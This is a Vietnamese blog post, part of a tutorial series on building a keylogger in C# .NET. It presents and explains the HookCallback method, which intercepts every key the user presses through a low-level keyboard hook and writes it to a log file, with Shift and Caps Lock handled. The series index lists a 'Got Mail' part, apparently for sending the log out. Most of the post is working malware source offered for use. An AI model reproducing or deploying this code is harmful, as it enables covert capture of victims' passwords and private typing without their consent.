Thứ Ba, 2 tháng 2, 2010

// // Leave a Comment

Key Logger C# .NET - The HookCallback Method

Phương thức HookCallback

Đây là phương thức HookCallback của tôi
Bạn có thể thấy những gì nCode, wParam ở trong các hàm API, phần c), ở cuối bài viết này.

Nếu nCode lớn hơn 0, hơn một phím được thực hiện. Chúng ta mở một streamwriter (sw) để ghi vào trong file. Một lần nữa appstart.path là vị trí của file.
Trong biến vkCode chúng ta nhó mã của các phím kết hợp với phím đã được người dụng nhấn (Keys.Shift == Control.ModifierKeys - có nghĩa là phím Shift được nhấn kết hợp với phím khác, như một chữ, sau đó biến shift (trong lớp appstart) được gán là 1;

Trong câu lệnh switch sau, chúng ta kiểm tra những gì mã khoá khớp với các số trong vkCode. Ví dụ, nếu phím bấm là Tab, sau đó, với sự trợ giúp của StreamWriter, chúng ta ghi "TAB" trong tập tin của ta;

Phần mặc định(default) trong khối lệnh switch giám sát sự kết hợp của các phím với Shift hoặc Caps. Ví dụ, nếu Shift được giữ + "a", chúng ta sẽ gõ "A" trong file của ta;
Tất nhiên, bạn có thể thay đổi switch theo nhu cầu của bạn;

Sau switch, chúng ta thiết lập lại biến shift là 0, để sử dụng cho lượt kế tiếp;
Đừng quên đóng streamwriter: sw.Close();

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
StreamWriter sw = File.AppendText(appstart.path);
int vkCode = Marshal.ReadInt32(lParam);
if (Keys.Shift == Control.ModifierKeys) appstart.shift = 1;

switch ((Keys)vkCode)
{
case Keys.Space:
sw.Write(" ");
break;
case Keys.Return:
sw.WriteLine("");
break;
case Keys.Back:
sw.Write("back");
break;
case Keys.Tab:
sw.Write("TAB");
break;
case Keys.D0:
if (appstart.shift == 0) sw.Write("0");
else sw.Write(")");
break;
case Keys.D1:
if (appstart.shift == 0) sw.Write("1");
else sw.Write("!");
break;
case Keys.D2:
if (appstart.shift == 0) sw.Write("2");
else sw.Write("@");
break;
case Keys.D3:
if (appstart.shift == 0) sw.Write("3");
else sw.Write("#");
break;
case Keys.D4:
if (appstart.shift == 0) sw.Write("4");
else sw.Write("$");
break;
case Keys.D5:
if (appstart.shift == 0) sw.Write("5");
else sw.Write("%");
break;
case Keys.D6:
if (appstart.shift == 0) sw.Write("6");
else sw.Write("^");
break;
case Keys.D7:
if (appstart.shift == 0) sw.Write("7");
else sw.Write("&");
break;
case Keys.D8:
if (appstart.shift == 0) sw.Write("8");
else sw.Write("*");
break;
case Keys.D9:
if (appstart.shift == 0) sw.Write("9");
else sw.Write("(");
break;
case Keys.LShiftKey:
case Keys.RShiftKey:
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
case Keys.Apps:
sw.Write("");
break;
case Keys.OemQuestion:
if (appstart.shift == 0) sw.Write("/");
else sw.Write("?");
break;
case Keys.OemOpenBrackets:
if (appstart.shift == 0) sw.Write("[");
else sw.Write("{");
break;
case Keys.OemCloseBrackets:
if (appstart.shift == 0) sw.Write("]");
else sw.Write("}");
break;
case Keys.Oem1:
if (appstart.shift == 0) sw.Write(";");
else sw.Write(":");
break;
case Keys.Oem7:
if (appstart.shift == 0) sw.Write("'");
else sw.Write('"');
break;
case Keys.Oemcomma:
if (appstart.shift == 0) sw.Write(",");
else sw.Write("<");
break;
case Keys.OemPeriod:
if (appstart.shift == 0) sw.Write(".");
else sw.Write(">");
break;
case Keys.OemMinus:
if (appstart.shift == 0) sw.Write("-");
else sw.Write("_");
break;
case Keys.Oemplus:
if (appstart.shift == 0) sw.Write("=");
else sw.Write("+");
break;
case Keys.Oemtilde:
if (appstart.shift == 0) sw.Write("`");
else sw.Write("~");
break;
case Keys.Oem5:
sw.Write("|");
break;
case Keys.Capital:
if (appstart.caps == 0) appstart.caps = 1;
else appstart.caps = 0;
break;
default:
if (appstart.shift == 0 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
if (appstart.shift == 1 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (appstart.shift == 0 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (appstart.shift == 1 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
break;
} //end of switch
appstart.shift = 0;
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
} //end of HookCallback method


Phần 1: Creating the Project
Phần 2: Running the Key Logger
Phần 3: Got Mail
Phần 4: Intercepting Keystrokes
Phần 5: The HookCallback Method
Phần 6: API Methods
Phần 7: Possible Errors

0 comments: